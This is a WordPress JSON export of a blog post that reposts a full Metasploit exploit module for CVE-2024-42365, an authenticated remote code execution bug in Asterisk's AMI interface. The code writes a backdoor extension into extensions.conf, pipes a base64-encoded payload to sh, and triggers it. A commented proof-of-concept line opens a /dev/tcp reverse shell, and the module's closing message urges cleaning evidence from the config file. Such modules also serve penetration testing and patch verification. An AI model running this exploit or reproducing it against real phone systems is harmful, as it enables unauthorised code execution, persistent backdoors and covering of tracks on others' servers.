{"id":60590,"date":"2024-12-03T21:00:39","date_gmt":"2024-12-03T18:00:39","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182935\/asterisk_ami_originate_auth_rce.rb.txt"},"modified":"2024-12-03T21:00:39","modified_gmt":"2024-12-03T18:00:39","slug":"asterisk-ami-originate-authenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/asterisk-ami-originate-authenticated-remote-code-execution\/","title":{"rendered":"Asterisk AMI Originate Authenticated Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = GreatRanking<br \/>include Msf::Exploit::Remote::Asterisk<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Asterisk AMI Originate Authenticated RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk<br \/>versions 18.9-cert11 and 20.7-cert2, an AMI user with &#8216;write=originate&#8217; may change<br \/>all configuration files in the &#8216;\/etc\/asterisk\/&#8217; directory. Writing a new extension<br \/>can be created which performs a system command to achieve RCE as the asterisk service<br \/>user (typically asterisk).<br \/>Default parking lot in FreePBX is called &#8220;Default lot&#8221; on the website interface,<br \/>however its actually &#8216;parkedcalls&#8217;.<br \/>Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Brendan Coles &lt;bcoles[at]gmail.com&gt;&#8217;, # lots of AMI command stuff<br \/>&#8216;h00die&#8217;, # msf module<br \/>&#8216;NielsGaljaard&#8217; # discovery<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/asterisk\/asterisk\/security\/advisories\/GHSA-c4cg-9275-6w44&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2024-42365&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/># leaving this for future travelers. I was still not getting 100% payload compatibility<br \/># so there seems to still be another character or two bad, but b64 fixed it.<br \/># &#8216;Payload&#8217; =&gt; {<br \/># # ; is a comment in the extensions.conf file<br \/># &#8216;BadChars&#8217; =&gt; &#8220;;\\r\\n:\\&#8221;&#8221; # https:\/\/docs.asterisk.org\/Configuration\/Interfaces\/Asterisk-Manager-Interface-AMI\/AMI-v2-Specification\/#message-layout<br \/># },<\/p>\n<p># 927 characters (w\/o padding) is the max (Error, Message: Failed to parse message: line too long)<br \/># `echo &#8220;&#8221; | base64 -d | sh` == 19 characters<br \/># chatGPT says 908 b64 encoded characters makes 681 pre-encoding.<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;Space&#8217; =&gt; 681<br \/>},<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Unix Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :unix_command<br \/>}<br \/>],<br \/>],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-08-08&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS, CONFIG_CHANGES],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ]},<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<br \/>)<br \/>register_options [<br \/>OptString.new(&#8216;CONF&#8217;, [true, &#8216;The extensions configuration file location&#8217;, &#8216;\/etc\/asterisk\/extensions.conf&#8217;]),<br \/>OptString.new(&#8216;PARKINGLOT&#8217;, [true, &#8216;The extensions and name of the parking lot&#8217;, &#8217;70@parkedcalls&#8217;]),<br \/>OptString.new(&#8216;EXTENSION&#8217;, [true, &#8216;The extension number to backdoor&#8217;, Rex::Text.rand_text_numeric(3..5)]),<br \/>]register_advanced_options [<br \/>OptInt.new(&#8216;TIMEOUT&#8217;, [true, &#8216;Timeout value between AMI commands&#8217;, 1]),<br \/>]end<\/p>\n<p>def conn?<br \/>vprint_status &#8216;Connecting&#8230;&#8217;<\/p>\n<p>connect<br \/>banner = sock.get_once<\/p>\n<p>unless banner =~ %r{Asterisk Call Manager\/([\\d.]+)}<br \/>print_bad(&#8216;Asterisk Call Manager does not appear to be running&#8217;)<br \/>return false<br \/>end<\/p>\n<p>print_status &#8220;Found Asterisk Call Manager version #{::Regexp.last_match(1)}&#8221;<\/p>\n<p>unless login(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;])<br \/>print_bad(&#8216;Authentication failed&#8217;)<br \/>return false<br \/>end<\/p>\n<p>print_good &#8216;Authenticated successfully&#8217;<br \/>true<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout =&gt; e<br \/>print_error e.message<br \/>false<br \/>end<\/p>\n<p>def check<br \/># why don&#8217;t we check the version numbers?<br \/># we&#8217;re connecting to Asterisk Call Manager, which seems to be a sub component<br \/># of asterisk and therefore the version numbers don&#8217;t line up. For instance<br \/># Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso)<br \/># uses Asterisk Call Manager version 8.0.2.<br \/>return CheckCode::Unknown(&#8216;Unable to connect to Asterisk AMI service&#8217;) unless conn?<\/p>\n<p>version = get_asterisk_version<br \/>disconnect<\/p>\n<p>return CheckCode::Detected(&#8216;Able to connect, unable to determine version&#8217;) if !version<br \/>if version.between?(Rex::Version.new(&#8216;18.16.0&#8217;), Rex::Version.new(&#8216;18.24.2&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8217;19&#8217;), Rex::Version.new(&#8216;20.9.2&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8217;21&#8217;), Rex::Version.new(&#8216;21.4.2&#8217;)) ||<br \/>version.to_s.include?(&#8216;cert&#8217;) &amp;&amp;<br \/>(<br \/>version.between?(Rex::Version.new(&#8216;18.0-cert1&#8217;), Rex::Version.new(&#8216;18.9-cert11&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;19.0-cert1&#8217;), Rex::Version.new(&#8216;20.7-cert2&#8217;))<br \/>)<br \/>return Exploit::CheckCode::Appears(&#8220;Exploitable version #{version} found&#8221;)<br \/>end<\/p>\n<p>return Exploit::CheckCode::Safe(&#8220;Unexploitable version #{version} found&#8221;)<br \/>end<\/p>\n<p>def exploit<br \/>fail_with(Failure::NoAccess, &#8216;Unable to connect or authenticate&#8217;) unless conn?<\/p>\n<p>new_context = rand_text_alpha(8..12)<br \/>print_status(&#8220;Using new context name: #{new_context}&#8221;)<\/p>\n<p>print_status(&#8216;Loading conf file&#8217;)<br \/>req = &#8220;Action: Originate\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Channel: Local\/#{datastore[&#8216;PARKINGLOT&#8217;]}\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Application: SET\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Data: FILE(#{datastore[&#8216;CONF&#8217;]},,,al)=[#{new_context}]\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;\\r\\n&#8221;<br \/>res = send_command req<br \/>res = res.strip.gsub(&#8220;\\r\\n&#8221;, &#8216;, &#8216;)<\/p>\n<p>if res.include?(&#8216;Response: Error&#8217;)<br \/>disconnect<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT&#8221;)<br \/>end<br \/>vprint_good(&#8221; #{res}&#8221;)<br \/># since commands are queued, sleeping 1 second is needed for the job to<br \/># execute. This is mentioned in the original writeup: &#8220;(you might need to take some time between them).&#8221;<br \/>Rex.sleep(datastore[&#8216;TIMEOUT&#8217;])<\/p>\n<p>print_status(&#8216;Setting backdoor&#8217;)<br \/>req = &#8220;Action: Originate\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Channel: Local\/#{datastore[&#8216;PARKINGLOT&#8217;]}\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Application: SET\\r\\n&#8221;<br \/># from the PoC<br \/># req &lt;&lt; &#8220;Data: FILE(#{datastore[&#8216;CONF&#8217;]},,,al)=exten =&gt; #{datastore[&#8216;EXTENSION&#8217;]},1,System(\/bin\/bash -c &#8216;sh -i &gt;&amp; \/dev\/tcp\/127.0.0.1\/4444 0&gt;&amp;1&#8217;)\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Data: FILE(#{datastore[&#8216;CONF&#8217;]},,,al)=exten =&gt; #{datastore[&#8216;EXTENSION&#8217;]},1,System(echo \\&#8221;#{Base64.strict_encode64(payload.encoded).gsub(&#8220;\\n&#8221;, &#8221;)}\\&#8221; | base64 -d | sh)\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;\\r\\n&#8221;<br \/>res = send_command req<br \/>res = res.strip.gsub(&#8220;\\r\\n&#8221;, &#8216;, &#8216;)<\/p>\n<p>if res.include?(&#8216;Response: Error&#8217;)<br \/>disconnect<br \/>fail_with(Failure::UnexpectedReply, res)<br \/>end<br \/>vprint_good(&#8221; #{res}&#8221;)<br \/>Rex.sleep(datastore[&#8216;TIMEOUT&#8217;])<\/p>\n<p>print_status(&#8216;Reloading config&#8217;)<br \/>req = &#8220;Action: Originate\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Channel: Local\/#{datastore[&#8216;PARKINGLOT&#8217;]}\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Application: Reload\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Data: pbx_config\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;\\r\\n&#8221;<br \/>res = send_command req<br \/>res = res.strip.gsub(&#8220;\\r\\n&#8221;, &#8216;, &#8216;)<\/p>\n<p>if res.include?(&#8216;Response: Error&#8217;)<br \/>disconnect<br \/>fail_with(Failure::UnexpectedReply, res)<br \/>end<br \/>vprint_good(&#8221; #{res}&#8221;)<br \/>Rex.sleep(datastore[&#8216;TIMEOUT&#8217;])<\/p>\n<p>print_status(&#8216;Triggering shellcode&#8217;)<br \/>req = &#8220;Action: Originate\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Channel: Local\/#{datastore[&#8216;EXTENSION&#8217;]}@#{new_context}\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;application: Verbose\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;Data: #{Rex::Text.rand_text_numeric(5..8)}\\r\\n&#8221;<br \/>req &lt;&lt; &#8220;\\r\\n&#8221;<br \/>send_command req<\/p>\n<p>disconnect<br \/>end<\/p>\n<p>def on_new_session(client)<br \/>super<br \/>print_good(&#8220;!!!Don&#8217;t forget to clean evidence from #{datastore[&#8216;CONF&#8217;]}!!!&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = GreatRankinginclude Msf::Exploit::Remote::Asteriskprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Asterisk AMI Originate Authenticated RCE&#8217;,&#8216;Description&#8217; =&gt; %q{On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asteriskversions 18.9-cert11 and 20.7-cert2, an AMI user with &#8216;write=originate&#8217; may changeall configuration files in the &#8216;\/etc\/asterisk\/&#8217; directory. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60590","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60590","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60590"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60590\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60590"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60590"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60590"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}